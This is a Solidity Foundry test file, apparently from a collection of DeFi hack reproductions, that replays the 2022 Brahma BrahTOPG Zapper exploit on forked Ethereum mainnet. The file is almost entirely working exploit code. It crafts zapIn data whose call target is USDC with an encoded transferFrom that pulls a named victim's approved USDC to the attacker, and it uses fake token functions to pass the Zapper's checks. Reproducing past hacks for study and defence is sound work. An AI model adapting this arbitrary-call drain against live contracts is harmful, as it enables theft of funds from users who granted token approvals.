src/test/2022-11/BrahTOPG_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// attacker tx: https://etherscan.io/tx/0xeaef2831d4d6bca04e4e9035613be637ae3b0034977673c1c2f10903926f29c0
8// offcial post-mortem: https://medium.com/neptune-mutual/decoding-brahma-brahtopg-smart-contract-vulnerability-7b7c364b79d8
9 
10interface Zapper {
11    struct ZapData {
12        address requiredToken;
13        uint256 amountIn;
14        uint256 minAmountOut;
15        address allowanceTarget;
16        address swapTarget;
17        bytes callData;
18    }
19 
20    function zapIn(
21        ZapData calldata zapCall
22    ) external;
23}
24 
25contract ContractTest is Test {
26    Zapper zappper = Zapper(0xD248B30A3207A766d318C7A87F5Cf334A439446D);
27    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
28    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
29    IERC20 FRAX = IERC20(0x853d955aCEf822Db058eb8505911ED77F175b99e);
30    Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
31    address victimAddress = 0xA19789f57D0E0225a82EEFF0FeCb9f3776f276a3;
32 
33    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
34 
35    function setUp() public {
36        cheats.createSelectFork("mainnet", 15_933_794);
37    }
38 
39    function testExploit() public {
40        address(WETH).call{value: 1e15}("");
41        WETHToFRAX();
42        uint256 balance = USDC.balanceOf(victimAddress);
43        uint256 allowance = USDC.allowance(victimAddress, address(zappper));
44        uint256 amount = balance;
45        if (balance > allowance) {
46            amount = allowance;
47        }
48        bytes memory data =
49            abi.encodeWithSignature("transferFrom(address,address,uint256)", victimAddress, address(this), amount);
50        Zapper.ZapData memory zapData = Zapper.ZapData({
51            requiredToken: address(this),
52            amountIn: 1,
53            minAmountOut: 0,
54            allowanceTarget: address(this),
55            swapTarget: address(USDC),
56            callData: data
57        });
58        zappper.zapIn(zapData);
59 
60        emit log_named_decimal_uint("[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 6);
61    }
62 
63    function WETHToFRAX() internal {
64        WETH.approve(address(Router), type(uint256).max);
65        address[] memory path = new address[](2);
66        path[0] = address(WETH);
67        path[1] = address(FRAX);
68        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
69            WETH.balanceOf(address(this)), 0, path, address(this), block.timestamp
70        );
71    }
72 
73    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
74        return true;
75    }
76 
77    function balanceOf(
78        address account
79    ) external view returns (uint256) {
80        return 1;
81    }
82 
83    function approve(address spender, uint256 amount) external returns (bool) {
84        FRAX.transfer(address(zappper), 10);
85        return true;
86    }
87}